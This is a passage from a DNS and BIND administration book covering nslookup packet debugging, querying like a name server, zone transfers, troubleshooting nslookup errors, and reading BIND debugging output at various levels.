Addresses:  192.253.253.1, 192.249.249.1

> set d2
> wormhole
Server:  terminator.movie.edu
Address:  0.0.0.0

This time the query is also shown.

------------
SendRequest(), len 36
    HEADER:
        opcode = QUERY, id = 6814, rcode = NOERROR
        header flags:  query, want recursion
        questions = 1,  answers = 0,  authority records = 0,
      additional = 0

    QUESTIONS:
        wormhole.movie.edu, type = A, class = IN

------------
------------
Got answer (164 bytes):

The answer is the same as above.

The text between the dashes is the query and response packets. As promised, we will go through the packet contents. DNS packets are composed of five sections:

  1. Header section

  2. Question section

  3. Answer section

  4. Authority section

  5. Additional section

Header section

The header section is present in every query and response. The operation code is always QUERY. The only other opcodes are inverse query (IQUERY) and status (STATUS), but those aren't used. The id is used to associate a response with a query and to detect duplicate queries or responses. You have to look in the header flags to see which packets are queries and which are responses. The string want recursion means that the querier wants the name server to do all the work. The flag is parroted in the response. The string auth. answer means that this response is authoritative. In other words, the response is from the name server's authoritative data, not from its cache data. The response code, rcode, can be one of no error, server failure, name error (also known as nxdomain or nonexistent domain), not implemented, or refused. The server failure, name error, not implemented, and refused response codes cause the nslookup "Server failed," "Nonexistent domain," "Not implemented," and "Query refused" errors, respectively. The last four entries in the header section are counters - they indicate how many resource records there are in each of the next four sections.

Question section

There is always one question in a DNS packet; it includes the name and the requested data type and class. There is never more than one question in a DNS packet. The capability of handling more than one question in a DNS packet would require a redesign of the packet format. For one thing, the single authority bit would have to be changed, because the answer section could contain a mix of authoritative answers and nonauthoritative answers. In the present design, setting the authoritative answer bit means that the name server is an authority for the domain name in the question section.

Answer section

This section contains the resource records that answer the question. There can be more than one resource record in the response. For example, if the host is multihomed, there will be more than one address resource record.

Authority section

The authority section is where name server records are returned. When a response refers the querier to some other name servers, those name servers are listed here.

Additional section

The additional records section adds information that may complete information included in other sections. For instance, if a name server is listed in the authority section, the name server's address is added to the additional records section. After all, to contact the name server, you need to have its address.

For you sticklers for detail, there is a time when the number of questions in a query packet isn't one: in an inverse query, when it's zero. In an inverse query, there is one answer in the query packet, and the question section is empty. The name server fills in the question. But, as we said, inverse queries are almost nonexistent.

11.6.2 Querying Like a BIND Name Server

You can make nslookup send out the same query packet a name server would. Name server query packets are not much different from resolver packets. The primary difference in the query packets is that resolvers request recursive services, and name servers seldom do. Recursion is the default with nslookup, so you have to explicitly turn it off. The difference in operation between a resolver and a name server is that the resolver implements the search list, and the name server doesn't. By default, nslookup implements the search list, so that, too, has to be turned off. Of course, judicious use of the trailing dot will have the same effect.

In raw nslookup terms, this means that to query like a resolver, you use nslookup's default settings. To query like a name server, use set norecurse and set nosearch. On the command line, that's nslookup -norecurse -nosearch.

When a BIND name server gets a query, it looks for the answer in its cache. If it doesn't have the answer, and it is authoritative for the domain, the name server responds that the name doesn't exist or that there is no data for that type. If the name server doesn't have the answer, and it is not authoritative for the domain, it starts walking up the domain tree looking for NS records. There will always be NS records somewhere higher in the domain tree. As a last resort, it will use the NS records at the root domain, the highest level.

If the name server received a nonrecursive query, it would respond to the querier by giving the NS records that it had found. On the other hand, if the original query was a recursive query, the name server would then query the remote name servers in the NS records that it found. When the name server receives a response from one of the remote name servers, it caches the response, and repeats this process, if necessary. The remote server's response will either have the answer to the question or it will contain a list of name servers lower in the domain tree and closer to the answer.

Let's assume for our example that we are trying to satisfy a recursive query and that we didn't find any NS records until we checked the gov domain. That is, in fact, the case when we ask the name server on relay.hp.com about www.whitehouse.gov - it doesn't find any NS records until the gov domain. From there we switch servers to a gov name server and ask the same question. It directs us to the whitehouse.gov servers. We then switch to a whitehouse.gov name server and ask the same question:

% nslookup
Default Server:  relay.hp.com
Address:  15.255.152.2

> set norec            - Query like a name server: turn off recursion
> set nosearch         - turn off the search list
> www.whitehouse.gov   - We don't need to dot-terminate since we've turned
                       - search off
Server:  relay.hp.com
Address:  15.255.152.2

Name: www.whitehouse.gov
Served by:
- H.ROOT-SERVERS.NET
 128.63.2.53
 gov
- B.ROOT-SERVERS.NET
 128.9.0.107
 gov
- C.ROOT-SERVERS.NET
 192.33.4.12
 gov
- D.ROOT-SERVERS.NET
 128.8.10.90
 gov
- E.ROOT-SERVERS.NET
 192.203.230.10
 gov
- I.ROOT-SERVERS.NET
 192.36.148.17
 gov
- F.ROOT-SERVERS.NET
 192.5.5.241
 gov
- G.ROOT-SERVERS.NET
 192.112.36.4
 gov
- A.ROOT-SERVERS.NET
 198.41.0.4
 gov

Switch to a gov name server. You may have to turn recursion back on temporarily, if the name server doesn't have the address already cached.

> server e.root-servers.net
Default Server:  e.root-servers.net
Address: 192.203.230.10

Ask the same question of the gov name server. It will refer us to name servers closer to our desired answer.

> www.whitehouse.gov.
Server:  e.root-servers.net
Address:  192.203.230.10

Name:    www.whitehouse.gov
Served by:
- SEC1.DNS.PSI.NET
          38.8.92.2
          WHITEHOUSE.GOV
- SEC2.DNS.PSI.NET
          38.8.93.2
          WHITEHOUSE.GOV

Switch to a whitehouse.gov name server - either of them will do.

> server sec1.dns.psi.net.
Default Server:  sec1.dns.psi.net
Address:  38.8.92.2

> www.whitehouse.gov.
Server:  sec1.dns.psi.net
Address:  38.8.92.2

Name:    www.whitehouse.gov
Addresses:  198.137.240.91, 198.137.240.92

We hope this example gives you a feeling for how name servers look up names. If you need to refresh your understanding of what this looks like graphically, flip back to Figure 2.10.

Before we move on, notice that we asked each of the servers the very same question: "What's the address for www.whitehouse.gov?" What do you think would happen if the gov name server had already cached www.whitehouse.gov's address itself? The gov name server would have answered the question out of its cache instead of referring you to the whitehouse.gov name servers. Why is this significant? Suppose you messed up a particular host's address in your zone. Someone points it out to you, and you clean up the problem. Even though your name server now has the correct data, some remote sites find the old, messed-up data when they look up the name. One of the name servers higher up in the domain tree, such as a root name server, has cached the incorrect data; when it receives a query for that host's address, it returns the incorrect data instead of referring the querier to your name servers. What makes this problem hard to track down is that only one of the "higher up" name servers has cached the incorrect data, so only some of the remote lookups get the wrong answer - the ones that use this server. Fun, huh? Eventually, though, the "higher up" name server will time out the old record. If you're pressed for time, you can contact the administrators of the remote name server and ask them to kill and restart named to flush the cache. Of course, if the remote name server is an important, much-used name server, they may tell you where to go with that suggestion.

11.6.3 Zone Transfers

nslookup can be used to transfer a whole zone using the ls command. This feature is useful for troubleshooting, for figuring out how to spell a remote host's name, or just for counting how many hosts are in some remote domain. Since the output can be substantial, nslookup allows you to redirect the output to a file. If you want to bail out in the middle of a transfer, you can interrupt it by typing your interrupt character.

Beware: some hosts won't let you pull a copy of their zone, either for security reasons or to limit the load on their name server host. The Internet is a friendly place, but administrators have to defend their turf.

Let's look at the movie.edu zone. As you will see in the output below, all the zone data is listed - the SOA record is listed twice, which is an artifact of how the data is exchanged during the zone transfer. (BIND 4's nslookup only shows you address and name server data, not all the data.)

% nslookup
Default Server:  terminator.movie.edu
Address:  0.0.0.0

> ls movie.edu.
@                       4D IN SOA       terminator root.terminator (
                                        1997080605      ; serial
                                        3H              ; refresh
                                        1H              ; retry
                                        4w2d            ; expiry
                                        1D )            ; minimum

                        4D IN NS        terminator
terminator              4D IN A         192.249.249.3
                        4D IN MX        10 terminator
                        4D IN NS        wormhole
wormhole                4D IN A         192.249.249.1
                        4D IN A         192.253.253.1
                        4D IN MX        10 wormhole
robocop                 4D IN A         192.249.249.2
                        4D IN MX        10 robocop
wh249                   4D IN A         192.249.249.1
wh253                   4D IN A         192.253.253.1
wh                      4D IN CNAME     wormhole
shining                 4D IN A         192.253.253.3
                        4D IN MX        10 shining
localhost               4D IN A         127.0.0.1
bitg                    4D IN CNAME     terminator
carrie                  4D IN A         192.253.253.4
                        4D IN MX        10 carrie
dh                      4D IN CNAME     diehard
diehard                 4D IN A         192.249.249.4
                        4D IN MX        10 diehard
misery                  4D IN A         192.253.253.2
                        4D IN MX        10 misery
@                       4D IN SOA       terminator root.terminator (
                                        1997080605      ; serial
                                        3H              ; refresh
                                        1H              ; retry
                                        4w2d            ; expiry
                                        1D )            ; minimum
Received 48 answers (0 records).
> ls movie.edu  > /tmp/movie   - List all data into /tmp/movie
[terminator.movie.edu]
Received 48 answers (0 records).

Previous: 11.5 Common Tasks | DNS & BIND | Next: 11.7 Troubleshooting nslookup Problems
11.5 Common Tasks | Book Index | 11.7 Troubleshooting nslookup Problems


[Chapter 11] 11.7 Troubleshooting nslookup Problems

DNS & BIND

DNS & BINDSearch this book
Previous: 11.6 Less Common Tasks Chapter 11
nslookup 		Next: 11.8 Best of the Net

11.7 Troubleshooting nslookup Problems

The last thing you want is to have problems with your troubleshooting tool. Unfortunately, some types of failures render the troubleshooting tool mostly useless. Other types of nslookup failures are, at best, confusing because they don't give you any direct information to work with. While there may be a few problems with nslookup itself, most of the problems you encounter will be with name server configuration and operation. We'll cover a few odd problems here.

11.7.1 Looking Up the Right Data

This isn't really a problem, per se, but it can be awfully confusing. If you use nslookup to look up a type of data for a domain name, and the domain name exists, but no data of the type you're looking for exists, you'll get an error like this:

% nslookup
Default Server:  terminator.movie.edu
Address:  0.0.0.0

> movie.edu.

*** No address (A) records available for movie.edu.

So what types of records do exist? Just set type=any to find out:

> set type=any
> movie.edu.
Server:  terminator.movie.edu
Address:  0.0.0.0

movie.edu
      origin = terminator.movie.edu
      mail addr = al.robocop.movie.edu
      serial = 42
      refresh = 10800 (3H)
      retry   = 3600 (1H)
      expire  = 604800 (7D)
      minimum ttl = 86400 (1D)
movie.edu    nameserver = terminator.movie.edu
movie.edu    nameserver = wormhole.movie.edu
movie.edu    nameserver = zardoz.movie.edu
movie.edu    preference = 10, mail exchanger = postmanrings2x.movie.edu
postmanrings2x.movie.edu        internet address = 192.249.249.66

11.7.2 No Response from Server

What could have gone wrong if your server can't look up its own name?

% nslookup
Default Server:  terminator.movie.edu
Address:  0.0.0.0

> terminator
Server:  terminator.movie.edu
Address:  0.0.0.0

*** terminator.movie.edu can't find terminator: No response from server

The "no response from server" error message means exactly that: the name server didn't get back a response. nslookup doesn't necessarily look up anything when it starts up. If you see that the address of your server is 0.0.0.0, nslookup grabbed the system's host name (what the hostname command returns) for the server field and gave you its prompt. It is only when you try to look up something that you find out that there is no server responding. In this case, it is pretty obvious that there is no name server running - a name server ought to be able to look up its own name. If you are looking up some remote information, though, the name server could fail to respond because it is still trying to look up the item and nslookup gave up waiting. How can you tell the difference between a name server that isn't running and a name server that is running but didn't respond? Use the ls command to point out the difference:

% nslookup
Default Server:  terminator.movie.edu
Address:  0.0.0.0

> ls foo.     - Try to list a nonexistent domain
*** Can't list domain foo.: No response from server

In this case, no name server is running. If the host couldn't be reached, the error would be "timed out." If a name server is running, you'll see the following error message:

% nslookup
Default Server:  terminator.movie.edu
Address:  0.0.0.0

> ls foo.
[terminator.movie.edu]
*** Can't list domain foo.: No information

That is, unless there's a top-level foo domain in your world.

11.7.3 No PTR Data for Name Server's Address

Here is one of the most annoying problems: something went wrong, and nslookup exited on startup:

% nslookup

*** Can't find server name for address 192.249.249.3: Non-existent host/domain
*** Default servers are not available

The "nonexistent domain" means that the name 3.249.249.192.in-addr.arpa doesn't exist. In other words, nslookup couldn't find the name for 192.249.249.3, its name server host. But didn't we just say that nslookup doesn't look up anything when it starts up? In the configuration presented before, nslookup didn't look up anything, but that's not a rule. If you create a resolv.conf that includes nameserver lines, nslookup looks up the address in order to get the name server's name. In the preceding example, there is a name server running on 192.249.249.3, but it said there is no PTR data for the address 192.249.249.3. Obviously, this name server's data is messed up, at least for the 249.249.192.in-addr.arpa zone.

The "default servers are not available" message in the example is misleading. After all, there is a name server there to say the address doesn't exist. More often, you'll see the error "no response from server" if the name server isn't running on the host or the host can't be reached. Only then does the "default servers are not available" message makes sense.

11.7.4 Query Refused

Refused queries can cause problems at startup, and they can cause lookup failures during a session. Here's what it looks like when nslookup exits on startup because of a refused query:

% nslookup
*** Can't find server name for address 192.249.249.3: Query refused
*** Default servers are not available
%

This one has two possible causes. Either your name server does not support inverse queries (older nslookups only), or zone security is stopping the lookup.

Old versions of nslookup (pre-4.8.3) used an inverse query on startup. Inverse queries were never widely used - nslookup was one of the few applications that did use them. At 4.9.3, support for inverse queries was dropped, which broke old nslookups. To accommodate these old clients, a configuration file statement was added.

In BIND 4, the statement looks like this:

options fake-iquery

In BIND 8, the statement looks like this:

options { fake-iquery yes; };

This statement causes your name server to respond to the inverse query with a "fake" response that is good enough for nslookup to continue.

Zone security features can also cause nslookup startup problems. When nslookup attempts to find the name of its server (using a PTR query, not an inverse query), the query can be refused. If you think the problem is zone security, make sure your BIND 4 secure_zone TXT resource records or BIND 8 allow-transfer substatement include the network for the host running nslookup, and the address 127.0.0.1 if nslookup is running on the host also running the name server.

Zone security is not limited to causing nslookup to fail to start up. It can also cause lookups and zone transfers to fail in the middle of a session when you point nslookup to a remote name server. This is what you will see:

% nslookup
Default Server:  hp.com
Address:  15.255.152.4

> server terminator.movie.edu
Default Server:  terminator.movie.edu
Address:  192.249.249.3

> carrie.movie.edu.
Server:  terminator.movie.edu
Address:  192.249.249.3

*** terminator.movie.edu can't find carrie.movie.edu.: Query refused

> ls movie.edu                    - This attempts a zone transfer
[terminator.movie.edu]
*** Can't list domain movie.edu: Query refused
>

11.7.5 First resolv.conf Name Server Not Responding

Here is another twist on the last problem:

% nslookup

*** Can't find server name for address 192.249.249.3: No response from server
Default Server:  wormhole.movie.edu
Address:  192.249.249.1

This time the first nameserver in resolv.conf did not respond. We had put a second nameserver line in resolv.conf, and the second server did respond. From now on, nslookup will send queries only to wormhole; it won't try the name server at 192.249.249.3 again.

11.7.6 Finding Out What Is Being Looked Up

We've been waving our hands in the last examples, saying that nslookup was looking up the name server's address, but we didn't prove it. Here is our proof. This time, when we started up nslookup we turned on d2 debugging from the command line. This causes nslookup to print out the query packets it sent, as well as printing out when the query timed out and was retransmitted:

% nslookup -d2
------------
SendRequest(), len 44
    HEADER:
        opcode = QUERY, id = 1, rcode = NOERROR
        header flags:  query, want recursion
        questions = 1,  answers = 0,  authority records = 0,
        additional = 0

    QUESTIONS:
        3.249.249.192.in-addr.arpa, type = PTR, class = IN

------------
timeout (5 secs)
timeout (10 secs)
timeout (20 secs)
timeout (40 secs)
SendRequest failed

*** Can't find server name for address 192.249.249.3: No response from server
*** Default servers are not available

As you can see by the timeouts, it took 75 seconds for nslookup to give up. Without the debugging output, you won't see anything printed to your screen for 75 seconds; it'll look as if nslookup has hung.

11.7.7 Unspecified Error

You can run into a rather unsettling problem called "unspecified error." We have an example of this error here. We've only included the tail end of the output, since we only want to talk about the error at this point. You'll find the whole nslookup session that produced this segment in Chapter 13, Troubleshooting DNS and BIND.

Authoritative answers can be found from:
(root)  nameserver = NS.NIC.DDN.MIL
(root)  nameserver = B.ROOT-SERVERS.NET
(root)  nameserver = E.ROOT-SERVERS.NET
(root)  nameserver = D.ROOT-SERVERS.NET
(root)  nameserver = F.ROOT-SERVERS.NET
(root)  nameserver = C.ROOT-SERVERS.NET
(root)  nameserver =
*** Error: record size incorrect (1050690 != 65519)

*** relay.hp.com can't find .: Unspecified error

What happened here is that there was too much data to fit into a UDP datagram. The name server stopped filling in the response when it ran out of room. The name server didn't set the truncation bit in the response packet, or nslookup would have retried the query over a TCP connection; the name server must have decided that enough of the "important" information fit. You won't see this kind of error very often. You'll see it if you create too many NS records for a domain, so don't create too many. (Advice like this makes you wonder why you bought this book, right?) How many is too many depends upon how well the names can be "compressed" in the packet, which, in turn, depends upon how many name servers share the same domain in their domain name. The root name servers were renamed to all be in the root-servers.net domain for this very reason - more names fit in DNS packets if they share a common domain, which allows more root name servers to support the Internet. As a rule of thumb, don't go over 10 NS records. As for what caused this error, you'll have to read Chapter 13. Those of you who just read Chapter 9, Parenting, may know already.

Previous: 11.6 Less Common Tasks | DNS & BIND | Next: 11.8 Best of the Net
11.6 Less Common Tasks | Book Index | 11.8 Best of the Net


[Chapter 11] 11.8 Best of the Net

DNS & BIND

DNS & BINDSearch this book
Previous: 11.7 Troubleshooting nslookup Problems Chapter 11
nslookup 		Next: 12. Reading BIND Debugging Output

11.8 Best of the Net

System administrators have a thankless job. There are certain questions, usually quite simple ones, that they are asked over and over again. And sometimes, in a creative mood, they come up with a clever way to help their users. When the rest of us find out about their ingenuity, we can only sit back, smile admiringly, and wish we had thought of it ourselves. Here is one such case, where a system administrator found a way to communicate the solution to the sometimes perplexing puzzle of how to end an nslookup session:

% nslookup
Default Server:  envy.ugcs.caltech.edu
Address:  131.215.134.135

> quit
Server:  envy.ugcs.caltech.edu
Addresses:  131.215.134.135, 131.215.128.135

Name:    ugcs.caltech.edu
Addresses:  131.215.128.135, 131.215.134.135
Aliases:  quit.ugcs.caltech.edu
          use.exit.to.leave.nslookup.-.-.-.ugcs.caltech.edu

> exit
%

Previous: 11.7 Troubleshooting nslookup Problems | DNS & BIND | Next: 12. Reading BIND Debugging Output
11.7 Troubleshooting nslookup Problems | Book Index | 12. Reading BIND Debugging Output


[Chapter 12] Reading BIND Debugging Output

DNS & BIND

DNS & BINDSearch this book
Previous: 11.8 Best of the Net Chapter 12 Next: 12.2 Turning On Debugging

12. Reading BIND Debugging Output

Contents:
Debugging Levels
Turning On Debugging
Reading Debugging Output
The Resolver Search Algorithm and Negative Caching
Tools

"O Tiger-lily!" said Alice, addressing herself to one that was waving gracefully about in the wind, "I wish you could talk!"

"We can talk," said the Tiger-lily, "when there's anybody worth talking to."

One of the tools in your troubleshooting toolchest is the name server's debugging output. As long as your name server has been compiled with DEBUG defined, you can get query-by-query reports of its internal operation. The messages you get are often quite cryptic; they were meant for someone who has the source code to follow. We'll explain some of the debugging output in this chapter. Our goal is to cover enough for you to follow what the name server is doing; we aren't trying to supply an exhaustive compilation of debugging messages.

As you read through the explanations here, think back to material covered in earlier chapters. Seeing this information again, in another context, should help you understand more fully how a name server works.

12.1 Debugging Levels

The amount of information the name server provides depends on the debugging level. The lower the debugging level, the less information you get. Higher debugging levels give you more information, but they also fill up your disk faster. After you've read a lot of debugging output, you'll develop a feel for how much information you'll need to solve any particular problem. Of course, if you can easily recreate the problem, you can start at level 1 and increase the debugging level until you have enough information. For the most basic problem - why a name can't be looked up - level 1 will often suffice, so you should start there.

12.1.1 What Information Is at Each Level?

Here is a list of the information that each debugging level will give. The debugging information is cumulative; for example, level 2 includes all level 1's debugging information. The data are divided into the following basic areas: starting up, updating the database, processing queries, and maintaining zones. We won't cover updating the name server's internal database - problems always occur elsewhere. However, what the name server adds or deletes from its internal database can be a problem, as you'll see in Chapter 13, Troubleshooting DNS and BIND.

Level 1

The information at this level is necessarily brief. Name servers can process lots of queries, which can create lots of debugging output. Since the output is condensed, you can collect data over long periods. Use this debugging level for basic startup information and for watching query transactions. You'll see some errors logged at this level, including syntax errors and DNS packet formatting errors. This level will also show referrals.

Level 2

Level 2 provides lots of useful stuff: it lists the IP addresses of remote name servers that are used during a lookup, along with their round trip time values; it calls out bad responses; and it tags a response as to which type of query it is answering, a SYSTEM (sysquery) or a USER query. When you are tracking down a problem with a secondary server loading a zone, this level shows you the zone values - serial number, refresh time, retry time, expire time, and time left - as the secondary checks if it is up-to-date with its master.

Level 3

Level 3 debugging becomes much more verbose because it generates lots of messages about updating the name server database. Make sure you have enough disk space if you are going to collect debugging output at level 3 or above. At level 3, you'll also see: duplicate queries called out, system queries generated (sysquery), the names of the remote name servers used during a lookup, and the number of addresses found for each server.

Level 4

Use level 4 debugging when you want to see the query and response packets received by the name server. This level also shows the credibility level for cached data.

Level 5

There are a variety of messages at level 5, but none of them are particularly useful for general debugging. This level includes some error messages, for example, when a malloc() fails, and a message when the name server gives up on a query.

Level 6

Level 6 shows you the response sent to the original query.

Level 7

Level 7 shows you a few configuration and parsing messages.

Level 8

There is no significant debugging information at this level.

Level 9

There is no significant debugging information at this level.

Level 10

Use level 10 debugging when you want to see the query and response packets sent by the name server. The format of these packets is the same format used in level 4. You wouldn't use this level very often, since you can see the name server response packet with nslookup.

Level 11

There are only a couple of debugging messages at this level, and they are in seldom-traversed code.

With BIND 8, you can configure the name server to print out the debug level with the debug message. Just turn on the logging option print-severity as explained in Section 7.5, "BIND 8 Logging".

Keep in mind that this is debugging information - it was used by the authors of BIND to debug the code, so it is not as readable as you might like. You can use it, too, to figure out why the name server isn't doing what you think it should be doing, or just to learn how the name server operates - but don't expect nicely designed, carefully formatted output.

Previous: 11.8 Best of the Net | DNS & BIND | Next: 12.2 Turning On Debugging
11.8 Best of the Net | Book Index | 12.2 Turning On Debugging


[Chapter 12] 12.2 Turning On Debugging

DNS & BIND

DNS & BINDSearch this book
Previous: 12.1 Debugging Levels Chapter 12
Reading BIND Debugging Output 		Next: 12.3 Reading Debugging Output

12.2 Turning On Debugging

Name server debugging can be started either from the command line or with signals. If you need to see the startup information to diagnose your current problem, you'll have to use the command-line option. If you want to start debugging on a name server that is already running, or if you want to turn off debugging, you'll have to use signals. The name server writes its debugging output to named.run. A BIND 4 name server will create named.run in /usr/tmp (or /var/tmp). A BIND 8 name server will create named.run in the name server's current directory.

12.2.1 Debugging Command-Line Option

When troubleshooting, you sometimes need to see the sort list, know which interface a file descriptor is bound to, or find out where in the initialization stage the name server was when it exited (if the syslog error message wasn't clear enough). To see this kind of debugging information, you'll have to start debugging with a command-line option; by the time you send a signal, it will be too late. The command-line option for debugging is -d level. When you use the command-line option to turn on debugging, a BIND 4 name server will not go into the background as it does normally; you'll have to add the "&" at the end of your command line to get your shell prompt back. Here's how to start the name server at debugging level 1:

# /etc/named -d 1 &

12.2.2 Changing the Debugging Level with Signals

If you don't need to see the name server initialization, start your name server without the debugging command-line option. You can later turn debugging on and off by sending the USR1 and USR2 signals to the name server process. The first USR1 signal causes named to start writing debugging output at level 1. Each subsequent USR1 signal increases the debugging level by 1. Send USR2 to turn off debugging. Here, we set debugging to level 3, then turn debugging off:

# kill -USR1 `cat /etc/named.pid`        - Level 1
# kill -USR1 `cat /etc/named.pid`        - Level 2
# kill -USR1 `cat /etc/named.pid`        - Level 3
# kill -USR2 `cat /etc/named.pid`        - Off

And, as you might expect, if you turn on debugging from the command line, you can still send USR1 and USR2 signals to the name server.

Previous: 12.1 Debugging Levels | DNS & BIND | Next: 12.3 Reading Debugging Output
12.1 Debugging Levels | Book Index | 12.3 Reading Debugging Output


[Chapter 12] 12.3 Reading Debugging Output

DNS & BIND

DNS & BINDSearch this book
Previous: 12.2 Turning On Debugging Chapter 12
Reading BIND Debugging Output 		Next: 12.4 The Resolver Search Algorithm and Negative Caching

12.3 Reading Debugging Output

We'll cover five examples of debugging output. The first example shows the name server starting up. The next two examples show successful name lookups. The fourth example shows a secondary name server keeping its zone up to date. In the last example, we switch from showing you name server behavior to showing you resolver behavior: the resolver search algorithm. After each trace, except the last one, we killed the name server and started it again so that each trace started with a fresh, nearly empty cache.

You might wonder why we've chosen to show normal name server behavior for all our examples; after all, this chapter is about debugging. We are showing you normal behavior because you have to know what normal operation is before you track down abnormal operation. Another reason is to help you understand the concepts (retransmissions, round trip times, etc.) we have described in earlier chapters.

12.3.1 Name Server Startup (Debug Level 1)

We'll start the debugging examples by watching the name server initialize. We used -d 1 on the command line, and this is the named.run output that resulted:

1)  Debug level 1
2)  Version = named 8.1.1 Sat Jul 19 08:06:36 EDT 1997
3)      pma@terminator:/home/pma/named
4)  conffile = named.conf
5)  starting.  named 8.1.1 Sat Jul 19 08:06:36 EDT 1997
6)      pma@terminator:/home/pma/named
7)  ns_init(named.conf)
8)  update_zone_info('0.0.127.IN-ADDR.ARPA', 1)
9)  source = db.127.0.0
10) purge_zone(0.0.127.IN-ADDR.ARPA,1)
11) reloading zone
12) db_load(db.127.0.0, 0.0.127.IN-ADDR.ARPA, 1, Nil)
13) np_parent(0x0) couldn't find root entry
14) master zone "0.0.127.IN-ADDR.ARPA" (IN) loaded (serial 1)
15) zone[1] type 1: '0.0.127.IN-ADDR.ARPA' z_time 0, z_refresh 0
16) update_zone_info('.', 3)
17) source = db.cache
18) reloading zone
19) db_load(db.cache, , 0, Nil)
20) cache zone "" (IN) loaded (serial 0)
21) zone[0] type 3: '.' z_time 0, z_refresh 0
22) getnetconf(generation 887560796)
23) getnetconf: considering lo [127.0.0.1]
24) ifp->addr [127.0.0.1].53 d_dfd 20
25) evSelectFD(ctx 0x808f0e0, fd 20, mask 0x1, func 0x8056bf0,
    uap 0x80ac350)
26) evSelectFD(ctx 0x808f0e0, fd 21, mask 0x1, func 0x806fb08,
    uap 0x80ac398)
27) listening [127.0.0.1].53 (lo)
28) getnetconf: considering eth0 [192.249.249.3]
29) ifp->addr [192.249.249.3].53 d_dfd 22
30) evSelectFD(ctx 0x808f0e0, fd 22, mask 0x1, func 0x8056bf0,
    uap 0x80ac408)
31) evSelectFD(ctx 0x808f0e0, fd 23, mask 0x1, func 0x806fb08,
    uap 0x80ac450)
32) listening [192.249.249.3].53 (eth0)
33) fwd ds 5 addr [0.0.0.0].1142
34) Forwarding source address is [0.0.0.0].1142
35) evSelectFD(ctx 0x808f0e0, fd 5, mask 0x1, func 0x8056bf0, uap 0)
36) exit ns_init()
37) Ready to answer queries.
38) prime_cache: priming = 0
39) evSetTimer(ctx 0x808f0e0, func 0x8054cf4,
    uap 0, due 887560800.000000000, inter 0.000000000)
40) sysquery: send -> [192.5.5.241].53 dfd=5 nsid=41705 id=0 41)
    retry=887560800
41) evSetTimer(ctx 0x808f0e0, func 0x804ee88,
    uap 0x80a4a20, due 887560803.377717000, inter 0.000000000)
42) datagram from [192.5.5.241].53, fd 5, len 436
43) 13 root servers

We added the line numbers to the debugging output; you won't see them in yours. Lines 2 through 6 give the version of BIND you are running and the name of the configuration file. Version 8.1.1 was released by ISC (Internet Software Consortium) in 1997. We used the configuration file in the current directory, ./named.conf, for this run.

Lines 7 through 21 show BIND reading the configuration file and the db files. This name server is a caching-only name server - the only files read are db.127.0.0 (lines 8 through 15) and db.cache (lines 16-21). Line 8 lists the zone being updated (0.0.127.IN-ADDR.ARPA) and line 9 shows the file containing the zone data (db.127.0.0). Line 10 indicates that any old data for the zone is purged before new data is added. Line 11 says the zone is being reloaded, even though the zone is actually being loaded for the first time. The zone data is loaded during lines 12 through 14. Ignore the useless error message on line 13. On lines 15 and 21, z_time is the time to check when this zone is up to date; z_refresh is the zone refresh time. These values only matter when the server is a secondary server for the zone.

Lines 22 through 35 show the initialization of file descriptors. (In this case, they're really socket descriptors.) File descriptors 20 and 21 (lines 24-26) are bound to 127.0.0.1, the loopback address. Descriptor 20 is a datagram socket and descriptor 21 is a stream socket. File descriptors 22 and 23 (lines 29-31) are bound to the 192.249.249.3 interface. Each interface address was considered and used - they would not be used if the interface had not been initialized, or if the address were already in the list. File descriptor 5 (lines 33-35) is bound to 0.0.0.0, the wildcard address. Most network daemons use only one socket bound to the wildcard address, not sockets bound to individual interfaces. The wildcard address picks up packets sent to any interface on the host. Let's digress for a moment to explain why named uses both a socket bound to the wildcard address and sockets bound to specific interfaces.

When named receives a request from an application or from another name server, it will receive the request on one of the sockets bound to a specific interface. If named did not have sockets bound to specific interfaces, it would receive the requests on the socket bound to the wildcard address. When named sends back a response, it uses the same socket descriptor that the request came in on. Why does named do this? When responses are sent out via the socket bound to the wildcard address, the kernel fills in the sender's address with the address of the interface the response was actually sent out on. This address may or may not be the same address that the request was sent to. When responses are sent out via the socket bound to a specific address, the kernel fills in the sender's address with that specific address - the same address the request was sent to. If the name server gets a response from an IP address it didn't know about, the response is tagged a "martian" and discarded. named tries to avoid martian responses by sending its responses on descriptors bound to specific interfaces, so the sender's address is the same address the request was sent to. However, when named sends out queries, it uses the wildcard descriptor, since there is no need to force a specific IP address.

Lines 38 through 43 show the name server sending out a system query to find out which name servers are currently serving the root domain. This is known as "priming the cache." The first server queried sent a response that included 13 name servers.

The name server is now initialized, and it is ready to answer queries.

12.3.2 A Successful Lookup (Debug Level 1)

Suppose you want to watch the name server look up a name. Your name server wasn't started with debugging. Send a USR1 signal to turn on debugging, look up the name, then send a USR2 signal to turn off debugging, like this:

# kill -USR1 `cat /etc/named.pid`
# /etc/ping galt.cs.purdue.edu.
# kill -USR2 `cat /etc/named.pid`

We did this; here's the resulting named.run file:

datagram from [192.249.249.3].1162, fd 20, len 36

req: nlookup(galt.cs.purdue.edu) id 29574 type=1 class=1
req: missed 'galt.cs.purdue.edu' as '' (cname=0)
forw: forw -> [198.41.0.10].53 ds=4 nsid=40070 id=29574 2ms retry 4sec
datagram from [198.41.0.10].53, fd 4, len 343

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40070
;; flags: qr; QUERY: 1, ANSWER: 0, AUTHORITY: 9, ADDITIONAL: 9
;;              galt.cs.purdue.edu, type = A, class = IN
EDU.                        6D IN NS    A.ROOT-SERVERS.NET.
EDU.                        6D IN NS    H.ROOT-SERVERS.NET.
EDU.                        6D IN NS    B.ROOT-SERVERS.NET.
EDU.                        6D IN NS    C.ROOT-SERVERS.NET.
EDU.                        6D IN NS    D.ROOT-SERVERS.NET.
EDU.                        6D IN NS    E.ROOT-SERVERS.NET.
EDU.                        6D IN NS    I.ROOT-SERVERS.NET.
EDU.                        6D IN NS    F.ROOT-SERVERS.NET.
EDU.                        6D IN NS    G.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.             5w6d16h IN A    198.41.0.4
H.ROOT-SERVERS.NET.             5w6d16h IN A    128.63.2.53
B.ROOT-SERVERS.NET.             5w6d16h IN A    128.9.0.107
C.ROOT-SERVERS.NET.             5w6d16h IN A    192.33.4.12
D.ROOT-SERVERS.NET.             5w6d16h IN A    128.8.10.90
E.ROOT-SERVERS.NET.             5w6d16h IN A    192.203.230.10
I.ROOT-SERVERS.NET.             5w6d16h IN A    192.36.148.17
F.ROOT-SERVERS.NET.             5w6d16h IN A    192.5.5.241
G.ROOT-SERVERS.NET.             5w6d16h IN A    192.112.36.4
resp: nlookup(galt.cs.purdue.edu) qtype=1
